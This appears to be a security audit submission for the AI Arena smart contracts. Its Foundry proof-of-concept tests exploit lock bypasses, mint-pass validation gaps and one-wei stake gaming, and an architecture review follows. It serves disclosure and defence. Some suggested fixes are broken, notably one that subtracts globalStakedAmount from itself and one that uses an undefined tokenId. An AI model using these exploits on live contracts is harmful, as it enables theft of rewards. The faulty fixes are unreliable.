AI Arena - dimulski's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L355-L365

Vulnerability details

Impact

In the RankedBattle.sol contract when a user call the stakeNRN() function his NFT gets locked in the FighterFarm.sol contract for the duration the user is staking some NRN in the RankedBattle.sol contract. When an NFT is locked it shouldn't be transferable, but the protocol doesn't take into account that the ERC721 implementation provides two safeTransferFrom() functions, as one of them takes an additional data parameter which results in a different function signature, thus a locked NFT can still be transferred utilizing the

    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory data
    )

The problem arises in the way a malicious user can utilize this vulnerability. For example alice stakes some NRN tokens, and starts some battles, the important thing is that at some point she has won some points accumulatedPointsPerFighter[tokenId][roundId] is bigger than 0. Then alice transfers the NFT to bob, now bob can't lose a battle because of the following check in the _addResultPoints():

if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
        /// If the fighter has a positive point balance for this round, deduct points 
        points = stakingFactor[tokenId] * eloFactor;
        if (points > accumulatedPointsPerFighter[tokenId][roundId]) {
            points = accumulatedPointsPerFighter[tokenId][roundId];
        }
        accumulatedPointsPerFighter[tokenId][roundId] -= points;
        /// INFO: What if I transfer the nft, and the new fighterOwner doesn't have any points, this will revert
        accumulatedPointsPerAddress[fighterOwner][roundId] -= points;
        totalAccumulatedPoints[roundId] -= points;
        if (points > 0) {
            emit PointsChanged(tokenId, points, false);
}

As can be seen from the above code snippet the accumulatedPointsPerAddress[fighterOwner][roundId] -= points; will be zero and thus when points are subtracted from it, it will revert with underflow error. So every battle that is a loss will make the transaction revert. Now once bob has won one battle, he transfers the NFT to john, who again can't loose a battle, this cycle can be continued as long as the malicious user desires, keep in mind the protocol will be deployed on a L2 chain so gas will be relatively cheap. There are several consequences for the protocol, first a malicious user can guarantee himself that he won't loose a battle, and thus will be able to share in from the rewards for the round, once the round is complete. Second with the current design updateBattleRecord() function is called by the game server separately for each fighter that participated in a battle. Thus if the result was that one non malicious fighter won a battle, his points will be increased as well as the total accumulated points for the round. However if the second fighter is a NFT that can't loose a battle, and the outcome is a loss for that NFT, the transaction will revert and the totalAccumulatedPoints[roundId] for the round won't be decreased. The rewards that can be claimed for the round are calcualted as follows:

claimableNRN += (
    accumulatedPointsPerAddress[msg.sender][currentRound] * nrnDistribution   
) / totalAccumulatedPoints[currentRound];

As we can see by not decreasing the totalAccumulatedPoints[roundId] variable, a malicious user is also diluting the rewards received by non malicious users. Thus the high severity.

Proof of Concept

Gist After executing the steps in the above gist, add the following to the AuditorTests.t.sol file:

function test_TransferStakedFighter() public {
        /// @notice mint Neuron tokens to alice
        vm.startPrank(minter);
        neuron.mint(alice, 10e18);
        vm.stopPrank();

        redeemMintPass(alice, 1);
        vm.startPrank(alice);
        /// @notice stake at ranked battle
        rankedBattle.stakeNRN(9e18, 0);
        vm.stopPrank();

        vm.startPrank(gameServerAddress);
        /// @notice alice looses the first battle
        rankedBattle.updateBattleRecord(0, 0, 2, 1500, true);

        /// @notice alice wins the second two battles and now have some points
        rankedBattle.updateBattleRecord(0, 0, 0, 1500, true);
        rankedBattle.updateBattleRecord(0, 0, 0, 1500, true);
        console2.log("Alice accumulated poiints: ", rankedBattle.accumulatedPointsPerAddress(alice, 0));
        console2.log("Token Id 0 accumulated points: ", rankedBattle.accumulatedPointsPerFighter(0, 0));
        vm.stopPrank();

        vm.startPrank(alice);
        console2.log("Is fighter with id 0 staked: ", fighterFarm.fighterStaked(0));
        console2.log("Owner of token with id 0: ", fighterFarm.ownerOf(0));
        fighterFarm.safeTransferFrom(alice, bob, 0, "");
        console2.log("Owner of token with id 0: ", fighterFarm.ownerOf(0));
        vm.stopPrank();

        vm.startPrank(gameServerAddress);
        /// @notice bob initializes a battle but looses it
        vm.expectRevert(stdError.arithmeticError);
        rankedBattle.updateBattleRecord(0, 0, 2, 1500, true);

        /// @notice bob initializes another battle but also looses it
        vm.expectRevert(stdError.arithmeticError);
        rankedBattle.updateBattleRecord(0, 0, 2, 1500, true);

        rankedBattle.updateBattleRecord(0, 0, 0, 1500, true);
        console2.log("Bob accumulated poiints: ", rankedBattle.accumulatedPointsPerAddress(bob, 0));
        console2.log("Token Id 0 accumulated points: ", rankedBattle.accumulatedPointsPerFighter(0, 0));
        vm.stopPrank();

        vm.startPrank(bob);
        console2.log("Owner of token with id 0: ", fighterFarm.ownerOf(0));
        fighterFarm.safeTransferFrom(bob, john, 0, "");
        console2.log("Owner of token with id 0: ", fighterFarm.ownerOf(0));
        vm.stopPrank();

        vm.startPrank(gameServerAddress);
        /// @notice john initializes a battle but looses it
        vm.expectRevert(stdError.arithmeticError);
        rankedBattle.updateBattleRecord(0, 0, 2, 1500, true);

        /// @notice john initializes another battle but also looses it
        vm.expectRevert(stdError.arithmeticError);
        rankedBattle.updateBattleRecord(0, 0, 2, 1500, true);

        rankedBattle.updateBattleRecord(0, 0, 0, 1500, true);
        console2.log("John accumulated poiints: ", rankedBattle.accumulatedPointsPerAddress(john, 0));
        console2.log("Token Id 0 accumulated points: ", rankedBattle.accumulatedPointsPerFighter(0, 0));

        vm.stopPrank();

        vm.startPrank(john);
        console2.log("John Neuron balance before unstake: ", neuron.balanceOf(john));
        rankedBattle.unstakeNRN(9e18, 0);
        console2.log("John Neuron balance after unstake: ", neuron.balanceOf(john));
        vm.stopPrank();

        vm.startPrank(owner);
        rankedBattle.setNewRound();
        vm.stopPrank();

        vm.startPrank(john);
        rankedBattle.claimNRN();
        console2.log("John Neuron balance after claiming part of the rewards for the round: ", neuron.balanceOf(john));
        vm.stopPrank();
    }

Logs:
  Alice accumulated poiints:  4500
  Token Id 0 accumulated points:  4500
  Is fighter with id 0 staked:  true
  Owner of token with id 0:  0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718
  Owner of token with id 0:  0xe1AB8145F7E55DC933d51a18c793F901A3A0b276
  Bob accumulated poiints:  4500
  Token Id 0 accumulated points:  9000
  Owner of token with id 0:  0xe1AB8145F7E55DC933d51a18c793F901A3A0b276
  Owner of token with id 0:  0xF7Edc8FA1eCc32967F827C9043FcAe6ba73afA5c
  John accumulated poiints:  4500
  Token Id 0 accumulated points:  13500
  John Neuron balance before unstake:  0
  John Neuron balance after unstake:  9000000000000000000
  John Neuron balance after claiming part of the rewards for the round:  1675666666666666666666

To run the test use the following: forge test -vvv --mt test_TransferStakedFighter

Tools Used

Manual review & Foundry

Recommended Mitigation Steps

Add the require(_ableToTransfer(tokenId, to)); requirement in the _beforeTokenTransfer() function in the FighterFarm.sol contract

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L291-L303

Vulnerability details

Impact

The GameItems.sol contract allows admins to create different game items that can be utilized in different ways by the players of the game. Each item has different fields, dictating for how much an item can be bought for, the item's supply(if supply is finite), the dailyAllowance, and most importantly if an item can be transfer to another user or not.

    /// @notice Struct for game item attributes
    struct GameItemAttributes {
        string name;
        bool finiteSupply;
        bool transferable;
        uint256 itemsRemaining;
        uint256 itemPrice;
        uint256 dailyAllowance;
    }

From the variables defined in the above struct the GameItems.sol contract allows only for the changing of the transferable field, after an item has been created.

    function adjustTransferability(uint256 tokenId, bool transferable) external {
        require(msg.sender == _ownerAddress);
        allGameItemAttributes[tokenId].transferable = transferable;
        if (transferable) {
          emit Unlocked(tokenId);
        } else {
          emit Locked(tokenId);
        }
    }

We can understand that this feature is important for the mechanics of the game. As per the deployment script, batteries are not transferrable, which is a core item of the game(determining how many battles per day a user can initiate). The GameItems.sol contract inherits from the ERC1155 standard, which also implements a safeBatchTransferFrom() function apart of safeTransferFrom(), the developers have overridden the safeTransferFrom() function in order to check if an item can be transferred. However they haven't taken into account the safeBatchTransferFrom() function, which allows for an item that shouldn't be transferable to be transferred by a malicious user.

Proof of Concept

Gist After following the steps in the above gist, add the following test to ''AuditorTests.t.sol''

    function test_TransferUntransferableItem() public {
        /// @notice create a game item, only callable by admin
        vm.startPrank(owner);
        gameItems.createGameItem(
            "Battery", // name
            "https://ipfs.io/ipfs/", // tokenURI
            true, // finiteSupply
            false, // transferable, when set to false users are not expected to be able to transfer their NFTs
            10_000, // itemsRemaining
            1 * 10 ** 18, // itemPrice
            10 // dailyAllowance
        );
        vm.stopPrank();

        /// @notice mint Neuron tokens to alice
        vm.startPrank(minter);
        neuron.mint(alice, 10e18);
        vm.stopPrank();

        vm.startPrank(alice);
        gameItems.mint(0, 5);
        console2.log("Balance of alice: ", gameItems.balanceOf(alice, 0));
        uint256[] memory ids = new uint256[](1);
        ids[0] = 0;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 3;
        bytes memory data = "";
        gameItems.safeBatchTransferFrom(alice, bob, ids, amounts, data);
        console2.log("Balance of bob: ", gameItems.balanceOf(bob, 0));
        vm.stopPrank();
    }

Logs:
  Balance of alice:  5
  Balance of bob:  3

To run the test use: forge test -vvv --mt test_TransferUntransferableItem

Tools Used

Manual review & Foundry

Recommended Mitigation Steps

Override the _beforeTokenTransfer() function in the GameItems.sol contract in order to check if tokens can be transferred:

    function _beforeTokenTransfer( 
        address operator,
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory amounts,
        bytes memory data)
        internal
        override(ERC1155)
    {   
        if(from != address(0) || to != address(0)){
           require(allGameItemAttributes[tokenId].transferable);
        }
        super._beforeTokenTransfer(from, to, tokenId);
    }

And remove the safeTransferFrom() function override in the GameItems.sol

Assessed type

Context

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L233-L262

Vulnerability details

Impact

The AiArena protocol has a AAMintPass.sol contract which purpose is to create mint passes for users that have qualified for them. Users can call the claimMintPass() function with a valid signature and get their mint pass. As per the natspec of the claimMintPass() function

/// @param numToMint The number of mintpasses to claim. The first element in the array is the
/// number of AI Champion mintpasses and the second element is the number of Dendroid 

We can clearly see that it is expected users to be able to mint only NFTs they have been approved for, as per the docs and devs the Dendroids are much rarer than normal Champions. The problem arises in the redeemMintPass() function in the FighterFarm.sol contract. There is absolutely no checks on the type of fighter a user has a mint pass for, does he have a mint pass for certain iconTypes which results in a much rarer fighter attributes, or even the dna which he provides which results in minting an NFT Champion with extremely rare attributes. Basically users that have a mint pass can mint the rarest NFT, even if they have only be approved for a simple Champion NFT. This will also dilute the rarity of the truly rare attributes if a lot of users abuse the lack of proper validation.

Proof of Concept

Gist After following the steps in the above gist, add the following test to the AuditorTests.t.sol contract:

function test_MintRarerFighter() public {
        (string[] memory _tokenURIs, bytes memory signature) = createReedemableMintPassForTwoChampions(alice);
        vm.startPrank(alice);
        uint8[2] memory numToMint = [2, 0];
        aAMintPass.claimMintPass(
            numToMint,
            signature,
            _tokenURIs
        );

        /// @notice reedem a Dendroid and an extremly rare Champion of type 0
        uint256[] memory mintpassIdsToBurn = new uint256[](2);
        mintpassIdsToBurn[0] = 1;
        mintpassIdsToBurn[1] = 2;

        uint8[] memory fighterTypes = new uint8[](2);
        fighterTypes[0]= 1;
        fighterTypes[1]= 0;

        uint8[] memory iconsTypes = new uint8[](2);
        iconsTypes[0] = 0;
        iconsTypes[1] = 2;

        string[] memory mintPassDnas = new string[](2); 
        mintPassDnas[0] = "dna1"; 
        mintPassDnas[1] = "dna2";

        string[] memory modelHashes = new string[](2);
        modelHashes[0] = "neuralnethash";
        modelHashes[1] = "neuralnethash2";

        string[] memory modelTypes = new string[](2);
        modelTypes[0] = "original";
        modelTypes[1] = "fake";

        aAMintPass.approve(address(fighterFarm), 1);
        aAMintPass.approve(address(fighterFarm), 2);
        fighterFarm.redeemMintPass(
            mintpassIdsToBurn,
            fighterTypes,
            iconsTypes,
            mintPassDnas,
            modelHashes,
            modelTypes
        );
        /// @notice a malicious user that was only approved for normal champion, is able to mint a Dendroid, 
        // which according to the docs and devs is extreamly more rare and valuable
        bool dendroidBool;
        FighterOps.FighterPhysicalAttributes memory attributes;
        string memory modelHash;
        string memory modelType;
        (,,attributes ,,modelHash ,modelType ,,, dendroidBool) = fighterFarm.fighters(0);
        console2.log("The minted NFT is Dendroid: ", dendroidBool);

        /// @notice a malicous user approved only for a normal champion can mint a champion with rarer attributes
        bool dendroidBoolSecond;
        FighterOps.FighterPhysicalAttributes memory attributesSecond;
        string memory modelHashSecond;
        string memory modelTypeSecond;
        (,,attributesSecond ,,modelHashSecond ,modelTypeSecond ,,, dendroidBoolSecond) = fighterFarm.fighters(1);
        console2.log("Second normal champion with extreamly rare attributes: ", attributesSecond.head, attributesSecond.eyes);
        vm.stopPrank();
    }

Logs:
  The minted NFT is Dendroid:  true
  Second normal champion with extreamly rare attributes:  50 50

To run the test use: forge test -vvv --mt test_MintRarerFighter

Tools Used

Manual review & Foundry

Recommended Mitigation Steps

A fix is extremely hard to come by, as the only valid thing that is checked in the redeemMintPass() is the number of NFTs minted, consider if you really need this function or claimFighters() is enough.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L245

Vulnerability details

Impact

The main purpose of the RankedBattle.sol contract is to allow users to stake a certain amount of NRN tokens, and participate in battles trying to win points, with which later on they can claim part of the rewards allocated for the round by the protocol. The way points are calculated is as follows:

points = stakingFactor[tokenId] * eloFactor;

Elo factor is something calculated by the game engine, and is out of scope for the audit. stakingFactor on the other hand is calculated as follows:

      uint256 stakingFactor_ = FixedPointMathLib.sqrt(
          (amountStaked[tokenId] + stakeAtRisk) / 10**18
      );
      if (stakingFactor_ == 0) {
        stakingFactor_ = 1;
      }

This allows a malicious user to deposit a singe WEI and still have a stakingFactor of 1. This is equivalent to a non malicious user staking 3.9e17 NRN tokens, because of the sqrt formula utilized. The most significant problem arises in the _addResultPoints() function when the current stake at risk is calculated

curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;

The bpsLostPerLoss is set to 10 when the contract is deployed which is equal to 0.1%, it can go as high as 9999 and the curStakeAtRisk will always return 0 if the amountStaked[tokenId] is equal to 1. Later we can see that if a user has no points and loses a battle the contract tries to update the stakeAtRisk and subtract the curStakedAtRisk from the amountStaked[tokenId]

_stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner);
amountStaked[tokenId] -= curStakeAtRisk;

Later on in order for him to earn points, he first has to recover his stake at risk amount, for which he has to win battles. However if the user never has a stake put at risk, if he wins a battle he will always get points, compared to another user who has a stake at risk, that will first have to recover that stake. This results in a malicious user winning much more points than a non malicious one, and receiving a bigger pot of the rewards allocated for each round by the protocol.

Proof of Concept

Gist After following the steps from the gist above, add the following to the AuditorTests.t.sol

function test_GameTheSystemByDepositingASingleWei() public {
        /// @notice mint Neuron tokens to alice and bob
        vm.startPrank(minter);
        neuron.mint(alice, 1);
        neuron.mint(bob, 3.9e17);
        vm.stopPrank();

        redeemMintPass(alice, 1);
        vm.startPrank(alice);
        /// @notice stake at ranked battle
        rankedBattle.stakeNRN(1, 0);
        vm.stopPrank();

        redeemMintPass(bob, 3);
        vm.startPrank(bob);
        /// @notice stake at ranked battle
        rankedBattle.stakeNRN(3.9e17, 1);
        vm.stopPrank();

        vm.startPrank(gameServerAddress);
        /// @notice consider the following battle results 1 win, 4 loses, 3 wins

        /// @notice 1 win

        /// @notice alice
        rankedBattle.updateBattleRecord(0, 0, 0, 1500, true);
        /// @notice bob
         rankedBattle.updateBattleRecord(1, 0, 0, 1500, true);

        /// @notice 4 loses

        /// @notice alice
        rankedBattle.updateBattleRecord(0, 0, 2, 1500, true);
        rankedBattle.updateBattleRecord(0, 0, 2, 1500, true);
        rankedBattle.updateBattleRecord(0, 0, 2, 1500, true);
        rankedBattle.updateBattleRecord(0, 0, 2, 1500, true);
        /// @notice bob
        rankedBattle.updateBattleRecord(1, 0, 2, 1500, true);
        rankedBattle.updateBattleRecord(1, 0, 2, 1500, true);
        rankedBattle.updateBattleRecord(1, 0, 2, 1500, true);
        rankedBattle.updateBattleRecord(1, 0, 2, 1500, true);

        /// @notice 3 wins

        /// @notice alice
        rankedBattle.updateBattleRecord(0, 0, 0, 1500, true);
        rankedBattle.updateBattleRecord(0, 0, 0, 1500, true);
        rankedBattle.updateBattleRecord(0, 0, 0, 1500, true);

        /// @notice bob
        rankedBattle.updateBattleRecord(1, 0, 0, 1500, true);
        rankedBattle.updateBattleRecord(1, 0, 0, 1500, true);
        rankedBattle.updateBattleRecord(1, 0, 0, 1500, true);
        console2.log("Alice points: ", rankedBattle.accumulatedPointsPerAddress(alice, 0));
        console2.log("Bob points: ", rankedBattle.accumulatedPointsPerAddress(bob, 0));
        vm.stopPrank();
    }

Logs:
  Alice points:  4500
  Bob points:  0

To run the test use: forge test -vvv --mt test_GameTheSystemByDepositingASingleWei

Tools Used

Manual review & Foundry

Recommended Mitigation Steps

Set the minimum stake amount to at least 1e18 NRN tokens

Assessed type

Context

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L370-L391

Vulnerability details

Impact

The FighterFarm.sol contract offers the option for token owners to reroll their NFTs and get different traits. The problem is in the type of the parameters supplied to the function:

function reRoll(uint8 tokenId, uint8 fighterType) public {
        require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
        require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

        _neuronInstance.approveSpender(msg.sender, rerollCost);
        bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
        ...
}

As can be seen from the above code snippet the max value for tokenId that can be supplied is 255, as uint8 type can hold values between 0 - 255. This will allow only the owners of the first 256 NFTs to utilize this function. Owners of NFTs with tokenId bigger than 255, won't be able to reroll their NFTs. This severely limits the functionality of the protocol for the bigger part of the users. Additionally this results in an economic loss for the protocol, as each reroll has to be paid and the cost(not a small one) is hardcoded in the contract:

/// @notice The cost ($NRN) to reroll a fighter.
uint256 public rerollCost = 1000 * 10**18;

Proof of Concept

Tools Used

Manual review

Recommended Mitigation Steps

Change uint8 tokenId to uint256 tokenId

Assessed type

Context

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L191-L222 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L313-L331

Vulnerability details

Impact

The FighterFarm.sol contract allows users to claim NFTs with different attributes by submitting a valid signature by calling the claimFighters(). Which in turn calls the _createNewFighter() function with the following parametrs.

_createNewFighter(
   msg.sender, 
   uint256(keccak256(abi.encode(msg.sender, fighters.length))),
   modelHashes[i], 
   modelTypes[i],
   i < numToMint[0] ? 0 : 1,
   0,
   [uint256(100), uint256(100)]
);

Where the second parameter is the dna, as we can see this parameter is calculated as follows: uint256(keccak256(abi.encode(msg.sender, fighters.length))). If the fighter is of type 0, which is a AR-X Bots or champion, than the calcualtion for the dna won't take any changes until it is given as a parameter to the createPhysicalAttributes() function, which in turn will perform the following calculations if the iconsType parameter is 0:

uint256 rarityRank = (dna / attributeToDnaDivisor[attributes[i]]) % 100;
uint256 attributeIndex = dnaToIndex(generation, rarityRank, attributes[i]);
finalAttributeProbabilityIndexes[i] = attributeIndex;

The above calculated dna is divided by the attributeToDnaDivisor for the specific attribute, for example for the head attribute the dna param will be divided by 2 uint8[] public defaultAttributeDivisor = [2, 3, 5, 7, 11, 13]; and then the modulo operation is executed to ensure that the rarityRank is between 0 - 99. Then the attributeProbabilityIndex will be calcualted in the following way

        uint8[] memory attrProbabilities = getAttributeProbabilities(generation, 
        attribute);
        
        uint256 cumProb = 0;
        uint256 attrProbabilitiesLength = attrProbabilities.length;
        for (uint8 i = 0; i < attrProbabilitiesLength; i++) {
            cumProb += attrProbabilities[i];
            if (cumProb >= rarityRank) {
                attributeProbabilityIndex = i + 1;
                break;
            }
        }
        return attributeProbabilityIndex;

According to the deploy script those are the probailities

        probabilities.push([13, 7, 7, 13, 10, 13, 13, 10, 10, 4]);
        probabilities.push([15, 15, 10, 7, 7, 15, 7, 10, 10, 4]);
        probabilities.push([15, 15, 7, 4, 10, 10, 15, 10, 7, 7]);
        probabilities.push([15, 7, 7, 10, 15, 4, 10, 10, 7, 15]);
        probabilities.push([15, 10, 10, 7, 15, 10, 7, 15, 7, 4]);
        probabilities.push([15, 15, 4, 10, 7, 7, 15, 10, 7, 10]);

The user can try and calculate the rarityRank in such a way that he get rarer attributes, for example the first probabilities arrays from above represents the head element, if a user gets his rarityRank to be 96 he will get the rarest attribute. For the second one for example if he gets it to 47 he will get the second rarest attribute. Getting the rarest attribute is not guaranteed, but a user can definitely get an NFT with rarer attributes by calculating the uint256(keccak256(abi.encode(msg.sender, fighters.length))) to be in his favor, once he knows that his address has the possibility to call claimFighters() and mint a fighter, he can calculate which fighters.length gives him the rarest attributes and decide to mint exactly then. Same calculations can be performed for the mintFromMergingPool() function when NFT winners for the specific round decide to claim their fighters. Just this time the msg.sender parameter is the address of the MegingPool.sol contract.

Proof of Concept

Tools Used

Manual Review

Recommended Mitigation Steps

Consider adding a true source of randomness, such as Chainlink VRF

Assessed type

Context

[L-01] Wrong accounting of totalBattles

    /// @notice Number of total battles.
    uint256 public totalBattles = 0;

totalBattles is increased each time updateBattleRecord(), the problem is that this will be called for each user, with the user specific result. This leads to a wrong accounting, as the totalBattles variable will represent double the count of the actual battles that took place. Consider modifiying the code as follows:

File: src/RankedBattle.sol

    function updateBattleRecord(
        uint256 tokenId, 
        uint256 mergingPortion,
        uint8 battleResult,
        uint256 eloFactor,
        bool initiatorBool
    ) 
        external 
    { 
        ...
        if (initiatorBool) {
            _voltageManagerInstance.spendVoltage(fighterOwner, VOLTAGE_COST);
+           totalBattles += 1;
        }
        /// INFO: This will be called for each user, not keeping correct track.
-        totalBattles += 1;
    }

[L-02] Last Wei of Neuron token can't be minted

File: src/Neuron.sol
    function mint(address to, uint256 amount) public virtual {
-        require(totalSupply() + amount < MAX_SUPPLY, "Trying to mint more than the max supply");
+        require(totalSupply() + amount <= MAX_SUPPLY, "Trying to mint more than the max supply");
        require(hasRole(MINTER_ROLE, msg.sender), "ERC20: must have minter role to mint");
        _mint(to, amount);
    }

[L-03] getFighterPoints() returns the wrong value The getFighterPoints() function is expected to return an array with the points of each fighter until a certain token Id is reached. The function will return only 1 element as the length of the array is set to 1. Consider the following fix:

File: src/MergingPool.sol
    function getFighterPoints(uint256 maxId) public view returns(uint256[] memory) {
-       uint256[] memory points = new uint256[](1);
+       uint256[] memory points = new uint256[](maxId);
        for (uint256 i = 0; i < maxId; i++) {
            points[i] = fighterPoints[i];
        }
        return points;
    }

[L-04] pickWinner() there is no check if the selected winner can mint more NFTs, there is a maximum of 10 NFTs per account Consider adding such a check before you select a winner or add the possibility for a winner to chose another address to which the NFT he won can be minted.

File: src/MergingPool.sol
    function pickWinner(uint256[] calldata winners) external {
        require(isAdmin[msg.sender]);
        require(winners.length == winnersPerPeriod, "Incorrect number of winners");
        require(!isSelectionComplete[roundId], "Winners are already selected");
        uint256 winnersLength = winners.length;
        address[] memory currentWinnerAddresses = new address[](winnersLength);
        for (uint256 i = 0; i < winnersLength; i++) {
            /// INFO: There is no check to see if the winner don't already have the max number of NFTs per account
            currentWinnerAddresses[i] = _fighterFarmInstance.ownerOf(winners[i]);
            totalPoints -= fighterPoints[winners[i]];
            fighterPoints[winners[i]] = 0;
        }
        winnerAddresses[roundId] = currentWinnerAddresses;
        isSelectionComplete[roundId] = true;
        roundId += 1;
    }

[L-05] globalStakedAmount is not updated when user has a part of his staked NRN put at risk Consider the following fix, also if a stake at risk is reclaimed by the user the reclaimed amount would have to be added to the globalStakedAmount

    function _addResultPoints(
        uint8 battleResult, 
        uint256 tokenId, 
        uint256 eloFactor, 
        uint256 mergingPortion,
        address fighterOwner
    ) 
        private 
    {
        ...
        if (success) {
           /// INFO: seems like globalStakedAmount is not updated
           _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner);
           amountStaked[tokenId] -= curStakeAtRisk;
+          globalStakedAmount -= globalStakedAmount;
        }

    }

AiArena analysis report

1. Table of contents

• Curves analysis report
  • 1. Table of contents
  • 2. Approach taken in evaluating the codebase
  • 3. Architecture recommendations
    • Protocol Structure
    • What was unique for me?
  • 4. Codebase quality analysis
  • 5. Mechanism review
    • High-level system overview
    • Chains supported
    • AiArenaHelper.sol
    • FighterFarm.sol
    • FighterOps.sol
    • GameItems.sol
    • MergingPool.sol
    • Neuron.sol
    • RankedBattle.sol
    • StakeAtRisk.sol
    • VoltageManager.sol
  • 6. Centralization risks
  • 7. Security approach of the Project
  • 8. Software engineering considerations
    • Modularity and reusability
    • Code readability and maintainability
    • Error handling and input validation
    • Upgradeability
    • Documentation

2. Approach taken in evaluating the codebase

During this 12-days audit the codebase was tested in various different ways. The first step after cloning the repository was ensuring that all tests provided pass successfully when run. Then began the phase when I got some high-level overview of the functionality by reading the code. There were some parts of the project that caught my attention. These parts were tested with Foundry POCs. Some of them were false positives, others turned out to be true positives that were reported. The contest's main page does provide some context for the main idea of the AiArena protocol, and points to some useful explanations of the AiArena ranking system.

3. Architecture recommendations

Protocol Structure

AiArena is a protocol that falls in the GameFi category. The main goal of the AiArena protocol is to allow users to utilize their understanding of AI in order to create better fighters, by creating better moves and strategies. The protocol has a reward mechanism in which an amount of NRN tokens(the token created by the AiArena team) is distributed to users proportional to the points they have earned by fighting in the arena and winning during the specified round. Rounds according to the protocol team will be bi-weakly, in order for a user to participate the have to own a fighter, and stake some NRN so they can earn points, and compete for rewards. It has to be noted that users may lose part of their stake if they lose more times that they win, or draw. The protocol provides the opportunity for users to buy different game items, one of them is a battery that allows the user to play more battles once he has drained his voltage for the day.

What was unique for me?

• Unique game design, that allow people to leverage their understanding of AI in order to create a better fighter

4. Codebase quality analysis

There are several vulnerabilities within the codebase, but beside that the code is well structured. An improvement to the overall structure of the files within the project is to create a a library directory and put the FixedPointMathLib.sol, Verification.sol and FighterOps.sol files in it. It can also be considered to create separate directories to better separate the logic by the contracts responsible for battles and staking, and minting and managing NFTs. The contracts themselves have been structured in a systematic and ordered manner, which makes it easy to understand how the function calls propagate throughout the system, except the AiArenaHelper.sol contract, which contains some complex logic for determining the physical attributes of the fighters. Some additional suggestions are provided in the Software engineering considerations chapter.

5. Mechanism review

High-level system overview

In order for a user to be able to participate in ranked battles, he has to acquire an NFT fighter first, and NRN tokens. There will be mint passes for users that have qualified based on some parameters, that were not disclosed by the team. There will be airdrops of NRN tokens as well. This is how the first users will be onboarded, later on there will be third party marketplaces where other users can buy fighter NFTs and NRN tokens, in order to participate in ranked battles and thus compete to win more NRN tokens. It is explained by the protocol that knowledge of AI will be beneficial for creating a better fighter, as the model that is equipped to each NFT fighter has a big weight in determining the outcome of a battle(those mechanics are out of scope for the audit and were not disclosed by the protocol team). The main purpose of the protocol is for users to participate in battles, win points, and later on claim the NRN rewards for the round proportionate to their points. When participating in battles users may lose a portion of their stake if they rack up too many defeats. There are different game items that can be utilized in the protocol, the most significant is the battery, which can be used so a user can initialize more battles. Other items can be added later on, that have different additions to the game play, and outcome of battles. Each user have the possibility to win a new NFT each round, if he choses to compete for merging points as well.

Chains supported

The contest main page does mention that the protocol will be deployed on an L2, but doesn't specify which one, and if only one. The protocol team has mentioned that they plan to launch on Arbitrum, but also consider other L2 chains, which may be problematic as some chains such as Metis are expected to move to a decentralized sequencer model in Q2 of 2024, which introduces frontrunning possibilities, and the protocol has several instances where such vulnerabilites can be exploited. As per the proposed architecture that is currently being tested by the community The order of the transactions are determined by the Block Proposer. This is rotated based on the Consensus (POS) layer. Also as the contracts are not upgradable, and in the near future there is the possibility of all L2 following in the steps of Metis and adopting the decentralized sequencer model and introducing MEV opportunities, the frontrunning vulnerabilities within the code should be fixed.

AiArenaHelper.sol

This contract generates and manages an AI Arena fighters physical attributes. The overall logic is too complex, and it is very hard to follow. There is no true source of randomness implemented in this contract, some of the variable names such as rarityRank are not well named, and it is not clear from the name what they are expected to represent. There are a couple of vulnerabilities in the FighterFarm.sol contract, that allow users to manipulate the physical attributes of their NFTs and thus get rarer NFTs, but the root cause is not in this contract. Consider simplifying the logic for picking attributes and utilizing a true source of randomness such as Chainlink VRF. Also instead of checking in each function if the caller is the owner address, consider implementing modifier, or better yet utilize the Ownable2Step contract from openzeppelin, which comes with a built in modifier, and a safe transfer of ownership, instead of writing your own functions for that transferOwnership(). It is always a good practice to use battle tested libraries.

FighterFarm.sol

This is one of the main contracts of the AiArena protocol. It manages the creation, ownership, and redemption of AI Arena Fighter NFTs, including the ability to mint new NFTs from a merging pool or through the redemption of mint passes. Consider adding a function that will allow you to change the cost of the rerollCost, because as time passes by the NRN token can increase in value and the reroll cost may become too big in dollar value, for users to utilize the reRoll() function. Consider utilizing the Ownable2Step contract from openzeppelin, as in this way you won't have to create your own transferOwnership() function, as well as having to check in each function if the msg.sender is the owner, as the Ownable2Step contacts comes with a built in modifier. There are a couple of vulnerabilities within this contract, allowing users to mint NFTs whit whatever attributes they desire, as well as transfer NFTs, which shouldn't be transferable. However once those vulnerabilities are fixed the contract should function as expected.

FighterOps.sol

Is a simple library that contains two structs and an even, as well as a couple of view functions, there is not much that can be said about this library.

GameItems.sol

This contract represents a collection of game items used in AI Arena. During the audit of the AiArena protocol the only item that is known to be utilized for sure is the battery (users can buy batteries, in order to recharge their voltage, and initialize more battles once the deplete their daily allowance). Consider utilizing the Ownable2Step contract from openzeppelin, as in this way you won't have to create your own transferOwnership() function, as well as having to check in each function if the msg.sender is the owner, as the Ownable2Step contacts comes with a built in modifier. Also instead of checking if the caller of a specific function is an admin, consider implementing a modifier as there are a couple of instances where such checks are performed. There is a vulnerability allowing items that shouldn't be transferable to be transferred but once this is fixed the contract should function as expected.

MergingPool.sol

